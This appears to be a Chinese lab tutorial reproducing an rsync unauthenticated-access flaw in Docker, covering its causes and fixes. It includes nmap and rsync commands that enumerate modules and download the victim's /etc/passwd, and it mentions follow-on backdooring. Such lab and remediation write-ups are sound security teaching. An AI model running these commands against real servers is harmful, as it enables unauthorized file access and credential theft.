Rsync未授权漏洞复现

一.Rsync简介:

　　Rsync是一款远程同步功能的软件，同步的同时可以保持源文件的权限、时间、软硬连接等，常被用于文件的同步、分发等。支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口，如果目标开启了rsync服务，并且没有配置ACL或 访问密码，我们将可以读写目标服务器文件。

二.漏洞成因：

　1./etc/rsyncd.conf  未配置账号、密码以及目录权限等

　2./Rsync启动的时候没有指定--address参数，默认内外网都可以连接

　3.没有使用iptable或host  allow等限制可连接rsync服务器的来源ip

三.漏洞复现

在docker下进行漏洞的复现：

存在rsync漏洞的ubuntu服务器:192.168.4.128

攻击机（kali）：192.168.4.157

1.开启环境：

#sudo  docker-compose  up -d    //开启该漏洞环境

#sudo  docker  ps     //查看docker运行的进程，查看环境是否运行成功

 2 .进行信息收集

使用nmap对此服务器进行端口扫描

#nmap -p 873 192.168.4.128

 3.Rsync未授权访问利用

#rsync rsync://{target_ip}/

查看模块名列表：
　　rsync rsync://192.168.4.128:873/

查看src模块:
　　rsync rsync://192.168.4.128:873/src

 可以看到受害机器的目录被列举出来了

下载受害机的文件

rsync -av rsync://192.168.4.128/src/etc/passwd     ./

 查看下载下来的passwd文件

 后续可以进行后渗透，留后门等等操作

四.修复方法

1./etc/rsyncd.conf配置auth  users及secrets  file，为rsync设置复杂的密码；

2.rsync启动的时候用--address参数监听内网ip;

3.使用iptables或配置文件中的hosts allow限制可连接rsync的ip地址

原文始发于微信公众号（红豆芷浠）：Rsync未授权漏洞复现